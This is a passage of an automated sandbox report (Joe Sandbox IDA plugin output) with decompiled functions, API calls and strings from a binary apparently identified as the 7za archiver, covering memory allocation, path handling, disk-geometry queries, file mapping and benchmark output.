				void* _t1;

				if(__ecx != 0) {
					_t1 = VirtualAlloc(0, __ecx, 0x1000, 4); // executed
					return _t1;
				} else {
					return 0;
				}
			}

0x004585c2
0x004585d1
0x004585d7
0x004585c4
0x004585c6
0x004585c6

APIs

VirtualAlloc.KERNELBASE(00000000,0048DE00,00001000,00000004,00413C47,0048DE00,00000000,00414B97,00000500,0048DE00,00000000,00490AB0), ref: 004585D1

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Non-executed Functions

Function 0040B6E9, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 127

C-Code - Quality: 96%

			E0040B6E9(intOrPtr* __ecx, intOrPtr __edx) {
				WCHAR* _t40;
				long _t42;
				WCHAR* _t44;
				void* _t45;
				void* _t46;
				void* _t47;
				intOrPtr* _t54;
				WCHAR* _t57;
				intOrPtr* _t59;
				WCHAR* _t62;
				void* _t72;
				WCHAR* _t75;
				void* _t78;
				intOrPtr _t80;
				intOrPtr _t82;
				WCHAR* _t85;
				void* _t86;

				_t59 = __ecx;
				E0046B890(E00473DF0, _t86);
				_t57 = 0;
				 *((intOrPtr*)(__edx + 4)) = 0;
				 *((short*)( *((intOrPtr*)(__edx)))) = 0;
				_t82 =  *__ecx;
				_t78 = 0;
				 *((intOrPtr*)(_t86 - 0x14)) = __edx;
				 *((intOrPtr*)(_t86 - 0x10)) = __ecx;
				if(_t82 == 0) {
					L3:
					if(_t78 < 1 || _t82 == 0x5c || _t82 == 0x2e && (_t78 == 1 || _t78 == 2 &&  *((intOrPtr*)(_t59 + 2)) == _t82)) {
						_t40 = 1;
						goto L28;
					} else {
						 *(_t86 - 0x20) = _t57;
						 *(_t86 - 0x1c) = _t57;
						 *(_t86 - 0x18) = _t57;
						E00401E9A(_t86 - 0x20, 3);
						_t80 =  *((intOrPtr*)(_t86 - 0x10));
						 *(_t86 - 4) = _t57;
						if(_t78 <= 3 ||  *((short*)(_t80 + 2)) != 0x3a ||  *((short*)(_t80 + 4)) != 0x5c) {
							L16:
							if( *(_t86 - 0x18) <= 0x105) {
								E00401E9A(_t86 - 0x20, 0x105);
							}
							_t42 = GetCurrentDirectoryW(0x105,  *(_t86 - 0x20));
							_t85 =  *(_t86 - 0x20);
							_t62 = 0;
							if( *_t85 == _t57) {
								L21:
								_t72 = _t62 + _t62;
								 *(_t72 + _t85) = _t57;
								 *(_t86 - 0x1c) = _t62;
								if(_t42 == _t57 || _t42 > 0x104) {
									goto L26;
								} else {
									_t44 =  *(_t86 - 0x20);
									_t112 =  *((short*)(_t72 + _t44 - 2)) - 0x5c;
									if( *((short*)(_t72 + _t44 - 2)) != 0x5c) {
										E004054FE(_t86 - 0x20, _t72, _t112, 0x5c);
									}
									goto L25;
								}
							} else {
								_t75 = _t85;
								do {
									_t62 =  &(_t62[0]);
									_t75 =  &(_t75[1]);
								} while ( *_t75 != _t57);
								goto L21;
							}
						} else {
							if(_t82 < 0x61 || _t82 > 0x7a) {
								if(_t82 < 0x41 || _t82 > 0x5a) {
									goto L16;
								} else {
									goto L25;
								}
							} else {
								L25:
								_t45 = E00403532(_t86 - 0x44, L"\\\\?\\");
								_push(_t86 - 0x20);
								 *(_t86 - 4) = 1;
								_t46 = E0040B0A0(_t86 - 0x38, _t45);
								_push(_t80);
								 *(_t86 - 4) = 2;
								_t47 = E0040BE68(_t86 - 0x2c, _t46);
								 *(_t86 - 4) = 3;
								E00401E26( *((intOrPtr*)(_t86 - 0x14)), _t47);
								E00407A18( *((intOrPtr*)(_t86 - 0x2c)));
								E00407A18( *((intOrPtr*)(_t86 - 0x38)));
								E00407A18( *((intOrPtr*)(_t86 - 0x44)));
								_t57 = 1;
								L26:
								E00407A18( *(_t86 - 0x20));
								_t40 = _t57;
								L28:
								 *[fs:0x0] =  *((intOrPtr*)(_t86 - 0xc));
								return _t40;
							}
						}
					}
				}
				_t54 = __ecx;
				do {
					_t78 = _t78 + 1;
					_t54 = _t54 + 2;
				} while ( *_t54 != 0);
				goto L3;
			}

0x0040b6e9
0x0040b6ee
0x0040b6f9
0x0040b6fc
0x0040b6ff
0x0040b702
0x0040b706
0x0040b70b
0x0040b70e
0x0040b711
0x0040b71d
0x0040b720
0x0040b852
0x00000000
0x0040b74e
0x0040b753
0x0040b756
0x0040b759
0x0040b75c
0x0040b764
0x0040b767
0x0040b76a
0x0040b792
0x0040b79a
0x0040b7a0
0x0040b7a0
0x0040b7a9
0x0040b7af
0x0040b7b2
0x0040b7b7
0x0040b7c3
0x0040b7c3
0x0040b7c8
0x0040b7cc
0x0040b7cf
0x00000000
0x0040b7d8
0x0040b7d8
0x0040b7db
0x0040b7e1
0x0040b7e8
0x0040b7e8
0x00000000
0x0040b7e1
0x0040b7b9
0x0040b7b9
0x0040b7bb
0x0040b7bb
0x0040b7bd
0x0040b7be
0x00000000
0x0040b7bb
0x0040b77a
0x0040b77e
0x0040b78a
0x00000000
0x00000000
0x00000000
0x00000000
0x0040b7ed
0x0040b7ed
0x0040b7f5
0x0040b7ff
0x0040b803
0x0040b807
0x0040b80c
0x0040b812
0x0040b816
0x0040b81f
0x0040b823
0x0040b82b
0x0040b833
0x0040b83b
0x0040b843
0x0040b845
0x0040b848
0x0040b84e
0x0040b854
0x0040b85a
0x0040b862
0x0040b862
0x0040b77e
0x0040b76a
0x0040b720
0x0040b713
0x0040b715
0x0040b715
0x0040b717
0x0040b718
0x00000000

APIs

__EH_prolog.LIBCMT ref: 0040B6EE
GetCurrentDirectoryW.KERNEL32(00000105,00000000,00000003,775D4274,00000002,00000000), ref: 0040B7A9

Part of subcall function 0040B0A0: __EH_prolog.LIBCMT ref: 0040B0A5

Part of subcall function 0040BE68: __EH_prolog.LIBCMT ref: 0040BE6D

Strings

\\?\, xrefs: 0040B7ED

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0040BACB, Relevance: 4.6, APIs: 3, Instructions: 83

C-Code - Quality: 100%

			E0040BACB(void** __ecx) {
				long _v8;
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v28;
				void _v32;
				void* _v52;
				void* _v56;
				void _v64;
				void* _t29;
				void* _t36;
				void* _t40;
				signed int _t45;
				void** _t47;

				_t47 = __ecx;
				_t29 =  *__ecx;
				if(_t29 == 0xffffffff || __ecx[1] == 0) {
					L9:
					return _t29;
				} else {
					__ecx[2] = 0;
					__ecx[1] = 1;
					__ecx[3] = 0;
					if(DeviceIoControl(_t29, 0x74004, 0, 0,  &_v64, 0x20,  &_v8, 0) == 0) {
						_t29 = DeviceIoControl( *_t47, 0x70000, 0, 0,  &_v32, 0x18,  &_v8, 0);
						if(_t29 == 0) {
							_t29 = DeviceIoControl( *_t47, 0x2404c, 0, 0,  &_v32, 0x18,  &_v8, 0);
							if(_t29 == 0) {
								_t47[1] = 0;
							}
						}
						if(_t47[1] == 0) {
							goto L9;
						} else {
							_t33 = _v12;
							_t45 = _v12 * _v16 >> 0x20;
							_t36 = E0046B370(E0046B370(_t33 * _v16, _t45, _v20, 0), _t45, _v32, _v28);
							_t47[2] = _t36;
							_t47[3] = _t45;
							return _t36;
						}
					}
					_t47[2] = _v56;
					_t40 = _v52;
					_t47[3] = _t40;
					return _t40;
				}
			}

0x0040bad3
0x0040bad6
0x0040badb
0x0040bb87
0x0040bb87
0x0040baec
0x0040bb04
0x0040bb08
0x0040bb0c
0x0040bb13
0x0040bb37
0x0040bb3b
0x0040bb51
0x0040bb55
0x0040bb57
0x0040bb57
0x0040bb55
0x0040bb5d
0x00000000
0x0040bb5f
0x0040bb5f
0x0040bb63
0x0040bb78
0x0040bb7d
0x0040bb80
0x00000000
0x0040bb80
0x0040bb5d
0x0040bb18
0x0040bb1b
0x0040bb1e
0x00000000
0x0040bb1e

APIs

DeviceIoControl.KERNEL32(00000000,00074004,00000000,00000000,00000000,00000020,?,00000000), ref: 0040BB0F
DeviceIoControl.KERNEL32(000000FF,00070000,00000000,00000000,?,00000018,?,00000000), ref: 0040BB37
DeviceIoControl.KERNEL32(000000FF,0002404C,00000000,00000000,?,00000018,?,00000000), ref: 0040BB51

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00410DFA, Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 183

C-Code - Quality: 100%

			E00410DFA(intOrPtr __ecx, void* __edx) {
				void* _t63;
				void* _t68;
				void* _t75;
				long _t76;
				void* _t83;
				void* _t90;
				void* _t134;
				void* _t135;
				long _t142;
				signed int _t144;
				void* _t145;
				void* _t147;
				void* _t149;

				E0046B890(E00474220, _t147);
				 *((intOrPtr*)(_t147 - 0x10)) = _t149 - 0x58;
				_t134 = __edx;
				 *((intOrPtr*)(_t147 - 0x20)) = __ecx;
				_t63 = E00411BA8(__edx, 0x3a, 0);
				_t138 = _t63;
				if(_t63 < 0) {
					E0040FFF2();
				}
				E00407399(_t134, _t147 - 0x64, _t138);
				 *(_t147 - 4) = 0;
				E004072C9(_t134, _t147 - 0x40, _t138 + 1);
				 *(_t147 - 4) = 1;
				_t68 = E00411BA8(_t147 - 0x40, 0x3a, 0);
				_t140 = _t68;
				if(_t68 < 0) {
					E0040FFF2();
				}
				E00407399(_t147 - 0x40, _t147 - 0x58, _t140);
				 *(_t147 - 4) = 2;
				E004072C9(_t147 - 0x40, _t147 - 0x4c, _t140 + 1);
				 *(_t147 - 4) = 3;
				_t142 = E004082A1( *((intOrPtr*)(_t147 - 0x58)), 0);
				 *(_t147 - 0x24) = 0;
				 *(_t147 - 0x18) = 0;
				_t131 = _t147 - 0x64;
				 *(_t147 - 4) = 4;
				_t75 = OpenFileMappingA(4, 0,  *(E0041AE3F()));
				 *(_t147 - 0x18) = _t75;
				if(_t75 == 0) {
					_t76 = GetLastError();
				} else {
					_t76 = 0;
				}
				 *((char*)(_t147 - 0x11)) = _t76 != 0;
				E00407A18( *((intOrPtr*)(_t147 - 0x34)));
				if( *((intOrPtr*)(_t147 - 0x11)) != 0) {
					E0040FFFD("Can not open mapping");
				}
				_t135 = MapViewOfFile( *(_t147 - 0x18), 4, 0, 0, _t142);
				 *(_t147 - 0x24) = _t135;
				if(_t135 == 0) {
					E0040FFFD("MapViewOfFile error");
				}
				 *(_t147 - 4) = 5;
				if( *_t135 != 0) {
					E0040FFFD("Incorrect mapping data");
				}
				 *(_t147 - 0x1c) = _t142 >> 1;
				 *((intOrPtr*)(_t147 - 0x34)) = 0;
				 *(_t147 - 0x30) = 0;
				 *((intOrPtr*)(_t147 - 0x2c)) = 0;
				E00401E9A(_t147 - 0x34, 3);
				 *(_t147 - 4) = 6;
				_t144 = 1;
				while(_t144 <  *(_t147 - 0x1c)) {
					_t94 =  *((intOrPtr*)(_t135 + _t144 * 2));
					if( *((intOrPtr*)(_t135 + _t144 * 2)) != 0) {
						E004054FE(_t147 - 0x34, _t131, __eflags, _t94);
					} else {
						_t131 = _t147 - 0x34;
						E00410AC9( *((intOrPtr*)(_t147 - 0x20)), _t147 - 0x34,  *((intOrPtr*)(_t147 + 8)),  *(_t147 + 0xc));
						 *(_t147 - 0x30) = 0;
						 *((short*)( *((intOrPtr*)(_t147 - 0x34)))) = 0;
					}
					_t144 = _t144 + 1;
				}
				__eflags =  *(_t147 - 0x30);
				if( *(_t147 - 0x30) != 0) {
					E0040FFFD("data error");
				}
				E00407A18( *((intOrPtr*)(_t147 - 0x34)));
				 *(_t147 - 4) = 4;
				UnmapViewOfFile(_t135);
				__eflags =  *(_t147 - 0x18);
				if( *(_t147 - 0x18) != 0) {
					CloseHandle( *(_t147 - 0x18));
				}
				 *(_t147 + 0xc) = 0;
				 *(_t147 - 4) = 8;
				_t83 = OpenEventA(2, 0,  *(E0041AE3F()));
				__eflags = _t83;
				 *(_t147 + 0xc) = _t83;
				if(_t83 == 0) {
					_t145 = GetLastError();
				} else {
					_t145 = 0;
				}
				E00407A18( *((intOrPtr*)(_t147 - 0x34)));
				__eflags = _t145;
				if(_t145 == 0) {
					E00467B10(_t147 + 0xc);
				}
				E00467A90(_t147 + 0xc);
				E00407A18( *((intOrPtr*)(_t147 - 0x4c)));
				E00407A18( *((intOrPtr*)(_t147 - 0x58)));
				E00407A18( *((intOrPtr*)(_t147 - 0x40)));
				_t90 = E00407A18( *((intOrPtr*)(_t147 - 0x64)));
				 *[fs:0x0] =  *((intOrPtr*)(_t147 - 0xc));
				return _t90;
			}

0x00410dff
0x00410e0c
0x00410e0f
0x00410e11
0x00410e19
0x00410e1e
0x00410e22
0x00410e24
0x00410e24
0x00410e30
0x00410e3d
0x00410e40
0x00410e4b
0x00410e4f
0x00410e54
0x00410e58
0x00410e5a
0x00410e5a
0x00410e67
0x00410e75
0x00410e79
0x00410e83
0x00410e8c
0x00410e8e
0x00410e91
0x00410e94
0x00410e9a
0x00410ea8
0x00410eb0
0x00410eb3
0x00410eb9
0x00410eb5
0x00410eb5
0x00410eb5
0x00410ec4
0x00410ec8
0x00410ed1
0x00410ed8
0x00410ed8
0x00410eeb
0x00410eef
0x00410ef2
0x00410ef9
0x00410ef9
0x00410f01
0x00410f05
0x00410f0c
0x00410f0c
0x00410f18
0x00410f1b
0x00410f1e
0x00410f21
0x00410f24
0x00410f2b
0x00410f2f
0x00410f30
0x00410f35
0x00410f3c
0x00410f5e
0x00410f3e
0x00410f44
0x00410f4a
0x00410f52
0x00410f55
0x00410f55
0x00410f63
0x00410f63
0x00410f66
0x00410f69
0x00410f70
0x00410f70
0x00410f78
0x00410f7e
0x00410f86
0x00410f8c
0x00410f8f
0x00410f94
0x00410f94
0x00410f9a
0x00410fa3
0x00410fb1
0x00410fb7
0x00410fb9
0x00410fbc
0x00410fc8
0x00410fbe
0x00410fbe
0x00410fbe
0x00410fcd
0x00410fd2
0x00410fd5
0x00410fda
0x00410fda
0x00410fe2
0x00410fea
0x00410ff2
0x00410ffa
0x00411002
0x0041100d
0x00411018

APIs

__EH_prolog.LIBCMT ref: 00410DFF
OpenFileMappingA.KERNEL32(00000004,00000000,00000000), ref: 00410EA8
GetLastError.KERNEL32 ref: 00410EB9
MapViewOfFile.KERNEL32(00000002,00000004,00000000,00000000,00000000,?), ref: 00410EE5
UnmapViewOfFile.KERNEL32(00000000,00000003), ref: 00410F86
CloseHandle.KERNEL32(00000002), ref: 00410F94
OpenEventA.KERNEL32(00000002,00000000,00000000), ref: 00410FB1
GetLastError.KERNEL32 ref: 00410FC2

Part of subcall function 00467A90: CloseHandle.KERNEL32(00000000), ref: 00467A9A
Part of subcall function 00467A90: GetLastError.KERNEL32 ref: 00467AA4

Part of subcall function 00467B10: SetEvent.KERNEL32(00000000,00410FDF), ref: 00467B13
Part of subcall function 00467B10: GetLastError.KERNEL32 ref: 00467B20

Part of subcall function 0040FFFD: __CxxThrowException@8.LIBC ref: 00410015

Strings

Incorrect mapping data, xrefs: 00410F07
Can not open mapping, xrefs: 00410ED3
MapViewOfFile error, xrefs: 00410EF4
data error, xrefs: 00410F6B

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0040BF69, Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 78

APIs

GetProcAddress.KERNEL32(00000000,OpenProcessToken,59@,00000000,00000001,?,?,00000000,00000001,00000000), ref: 0040BF8A
GetProcAddress.KERNEL32(00000000,LookupPrivilegeValueA), ref: 0040BF95
GetProcAddress.KERNEL32(00000000,AdjustTokenPrivileges), ref: 0040BFA0
GetCurrentProcess.KERNEL32(00000020,?), ref: 0040BFBA
GetLastError.KERNEL32 ref: 0040BFFF
CloseHandle.KERNEL32(?), ref: 0040C015

Strings

59@, xrefs: 0040BF71
LookupPrivilegeValueA, xrefs: 0040BF8F
SeLockMemoryPrivilege, xrefs: 0040BFD0
OpenProcessToken, xrefs: 0040BF84
AdjustTokenPrivileges, xrefs: 0040BF9A

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00472126, Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 177

C-Code - Quality: 61%

			E00472126(int _a4, int _a8, signed char _a9, char* _a12, int _a16, short* _a20, int _a24, int _a28, char _a32) {
				signed int _v8;
				intOrPtr _v20;
				short* _v28;
				int _v32;
				short* _v36;
				short* _v40;
				int _v44;
				void* _v60;
				int _t61;
				int _t62;
				int _t82;
				int _t83;
				int _t88;
				short* _t89;
				int _t90;
				void* _t91;
				int _t99;
				intOrPtr _t101;
				short* _t102;
				int _t104;

				_push(0xffffffff);
				_push(0x47cd28);
				_push(E0046CE74);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t101;
				_t102 = _t101 - 0x1c;
				_v28 = _t102;
				_t104 =  *0x4938a0; // 0x1
				if(_t104 != 0) {
					L5:
					if(_a16 > 0) {
						_t83 = E0047234A(_a12, _a16);
						_pop(_t91);
						_a16 = _t83;
					}
					_t61 =  *0x4938a0; // 0x1
					if(_t61 != 2) {
						if(_t61 != 1) {
							goto L21;
						} else {
							if(_a28 == 0) {
								_t82 =  *0x493880; // 0x0
								_a28 = _t82;
							}
							_t16 =  &_a32; // 0x496224
							asm("sbb eax, eax");
							_t88 = MultiByteToWideChar(_a28, ( ~( *_t16) & 0x00000008) + 1, _a12, _a16, 0, 0);
							_v32 = _t88;
							if(_t88 == 0) {
								goto L21;
							} else {
								_v8 = 0;
								E0046CC80(_t88 + _t88 + 0x00000003 & 0x000000fc, _t91);
								_v28 = _t102;
								_v40 = _t102;
								_v8 = _v8 | 0xffffffff;
								if(_v40 == 0 || MultiByteToWideChar(_a28, 1, _a12, _a16, _v40, _t88) == 0) {
									goto L21;
								} else {
									_t99 = LCMapStringW(_a4, _a8, _v40, _t88, 0, 0);
									_v44 = _t99;
									if(_t99 == 0) {
										goto L21;
									} else {
										if((_a9 & 0x00000004) == 0) {
											_v8 = 1;
											E0046CC80(_t99 + _t99 + 0x00000003 & 0x000000fc, _t91);
											_v28 = _t102;
											_t89 = _t102;
											_v36 = _t89;
											_v8 = _v8 | 0xffffffff;
											if(_t89 == 0 || LCMapStringW(_a4, _a8, _v40, _v32, _t89, _t99) == 0) {
												goto L21;
											} else {
												_push(0);
												_push(0);
												if(_a24 != 0) {
													_push(_a24);
													_push(_a20);
												} else {
													_push(0);
													_push(0);
												}
												_t99 = WideCharToMultiByte(_a28, 0x220, _t89, _t99, ??, ??, ??, ??);
												if(_t99 == 0) {
													goto L21;
												} else {
													goto L30;
												}
											}
										} else {
											if(_a24 == 0 || _t99 <= _a24 && LCMapStringW(_a4, _a8, _v40, _t88, _a20, _a24) != 0) {
												L30:
												_t62 = _t99;
											} else {
												goto L21;
											}
										}
									}
								}
							}
						}
					} else {
						_t62 = LCMapStringA(_a4, _a8, _a12, _a16, _a20, _a24);
					}
				} else {
					_push(0);
					_push(0);
					_t90 = 1;
					if(LCMapStringW(0, 0x100, 0x47cd24, _t90, ??, ??) == 0) {
						if(LCMapStringA(0, 0x100, 0x47cd20, _t90, 0, 0) == 0) {
							L21:
							_t62 = 0;
						} else {
							 *0x4938a0 = 2;
							goto L5;
						}
					} else {
						 *0x4938a0 = _t90;
						goto L5;
					}
				}
				 *[fs:0x0] = _v20;
				return _t62;
			}

0x00472129
0x0047212b
0x00472130
0x0047213b
0x0047213c
0x00472143
0x00472149
0x0047214e
0x00472154
0x0047219c
0x0047219f
0x004721a7
0x004721ad
0x004721ae
0x004721ae
0x004721b1
0x004721b9
0x004721db
0x00000000
0x004721e1
0x004721e4
0x004721e6
0x004721eb
0x004721eb
0x004721f6
0x004721fb
0x0047220b
0x0047220d
0x00472212
0x00000000
0x00472218
0x00472218
0x00472223
0x00472228
0x0047222d
0x00472230
0x0047224c
0x00000000
0x00472267
0x00472279
0x0047227b
0x00472280
0x00000000
0x00472282
0x00472286
0x004722c8
0x004722d7
0x004722dc
0x004722df
0x004722e1
0x004722e4
0x004722fe
0x00000000
0x00472318
0x0047231b
0x0047231c
0x0047231d
0x00472323
0x00472326
0x0047231f
0x0047231f
0x00472320
0x00472320
0x00472339
0x0047233d
0x00000000
0x00000000
0x00000000
0x00000000
0x0047233d
0x00472288
0x0047228b
0x00472343
0x00472343
0x00000000
0x00000000
0x00000000
0x0047228b
0x00472286
0x00472280
0x0047224c
0x00472212
0x004721bb
0x004721cd
0x004721cd
0x00472156
0x00472156
0x00472157
0x0047215a
0x00472170
0x0047218c
0x004722b4
0x004722b4
0x00472192
0x00472192
0x00000000
0x00472192
0x00472172
0x00472172
0x00000000
0x00472172
0x00472170
0x004722bc
0x004722c7

APIs

LCMapStringW.KERNEL32(00000000,00000100,0047CD24,00000001,00000000,00000000,775CC600,00496224,?,?,?,00471FC7,?,?,?,00000000), ref: 00472168
LCMapStringA.KERNEL32(00000000,00000100,0047CD20,00000001,00000000,00000000,?,?,00471FC7,?,?,?,00000000,00000001), ref: 00472184
LCMapStringA.KERNEL32(?,?,?,00471FC7,?,?,775CC600,00496224,?,?,?,00471FC7,?,?,?,00000000), ref: 004721CD
MultiByteToWideChar.KERNEL32(?,$bI,?,00471FC7,00000000,00000000,775CC600,00496224,?,?,?,00471FC7,?,?,?,00000000), ref: 00472205
MultiByteToWideChar.KERNEL32(00000000,00000001,?,00471FC7,?,00000000,?,?,00471FC7,?), ref: 0047225D
LCMapStringW.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?,00471FC7,?), ref: 00472273
LCMapStringW.KERNEL32(?,?,?,00000000,?,?,?,?,00471FC7,?), ref: 004722A6
LCMapStringW.KERNEL32(?,?,?,?,?,00000000,?,?,00471FC7,?), ref: 0047230E
WideCharToMultiByte.KERNEL32(00000000,00000220,?,00000000,?,?,00000000,00000000,?,00000000,?,?,00471FC7,?), ref: 00472333

Strings

$bI, xrefs: 004721F6, 00472201

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00401679, Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 185

C-Code - Quality: 33%

			E00401679(void* __ecx, signed int __edx, void* __eflags) {
				void* _t56;
				signed int _t63;
				signed int _t67;
				signed int _t68;
				signed int _t69;
				void* _t75;
				void* _t76;
				signed int _t80;
				signed int _t83;
				void* _t85;
				void* _t90;
				void* _t105;
				void* _t111;
				signed int _t114;
				char* _t115;
				intOrPtr _t117;
				signed int _t120;
				void* _t122;
				signed int _t123;
				signed int _t124;
				signed int _t126;
				signed int* _t127;
				signed int* _t129;
				signed int _t130;
				signed int* _t131;
				void* _t132;
				void* _t134;
				char** _t135;

				_t114 = __edx;
				E0046B890(E00472CF8, _t132);
				_t135 = _t134 - 0x28;
				 *(_t132 - 0x1c) = __edx;
				_t90 = __ecx;
				if(E00414B6B(__eflags) != 0) {
					_t56 = E0040C609();
					 *(_t132 - 0x28) = _t114;
					_t126 = E0040C5F4();
					_t115 = "size: ";
					_push(_t126);
					_push("CPU hardware threads:");
					E00401631(_t90, _t56,  *(_t132 - 0x28));
					__eflags =  *(_t132 + 8) - 0xffffffff;
					if( *(_t132 + 8) == 0xffffffff) {
						 *(_t132 + 8) = _t126;
					}
					__eflags =  *((intOrPtr*)(_t132 + 0xc)) - 0xffffffff;
					if( *((intOrPtr*)(_t132 + 0xc)) == 0xffffffff) {
						 *((intOrPtr*)(_t132 + 0xc)) = 0x1000000;
					}
					_t120 =  *(_t132 + 8);
					_push(_t120 << 3);
					_t127 = E004079F2();
					 *(_t132 - 0x14) = _t127;
					 *(_t132 - 0x24) = _t127;
					 *(_t132 - 4) =  *(_t132 - 4) & 0x00000000;
					 *_t135 = "\n\nSize";
					_push(_t90);
					E0046B47B();
					_t63 = 0;
					__eflags = _t120;
					if(_t120 > 0) {
						do {
							_t13 = _t63 + 1; // 0x1
							_t124 = _t13;
							E0046B47B(_t90, " %5d", _t124);
							 *_t127 =  *_t127 & 0x00000000;
							_t127[1] = _t127[1] & 0x00000000;
							_t63 = _t124;
							_t135 =  &(_t135[3]);
							_t127 =  &(_t127[2]);
							__eflags = _t63 -  *(_t132 + 8);
						} while (_t63 <  *(_t132 + 8));
					}
					_push("\n\n");
					_push(_t90);
					E0046B47B();
					__eflags =  *(_t132 - 0x1c);
					 *(_t132 - 0x2c) = 0;
					 *(_t132 - 0x28) = 0;
					 *((intOrPtr*)(_t132 - 0x18)) = 0;
					if( *(_t132 - 0x1c) <= 0) {
						L23:
						E00407A18( *(_t132 - 0x14));
						_t67 = 0;
						__eflags = 0;
					} else {
						do {
							 *(_t132 - 0x10) = 0xa;
							while(1) {
								_t100 =  *(_t132 - 0x10);
								_t68 = 1;
								_t69 = _t68 <<  *(_t132 - 0x10);
								__eflags = _t69 -  *((intOrPtr*)(_t132 + 0xc));
								 *(_t132 - 0x20) = _t69;
								if(_t69 >  *((intOrPtr*)(_t132 + 0xc))) {
									goto L17;
								}
								E0046B47B(_t90, "%2d: ", _t100);
								_t122 = 0;
								_t135 =  &(_t135[3]);
								__eflags =  *(_t132 + 8);
								if( *(_t132 + 8) <= 0) {
									L16:
									_push("\n");
									_push(_t90);
									E0046B47B();
									 *(_t132 - 0x2c) =  *(_t132 - 0x2c) + 1;
									asm("adc dword [ebp-0x28], 0x0");
									 *(_t132 - 0x10) =  *(_t132 - 0x10) + 1;
									__eflags =  *(_t132 - 0x10) - 0x20;
									if( *(_t132 - 0x10) < 0x20) {
										continue;
									} else {
										goto L17;
									}
								} else {
									_t129 =  *(_t132 - 0x14);
									while(1) {
										_t80 = E00401896();
										__eflags = _t80;
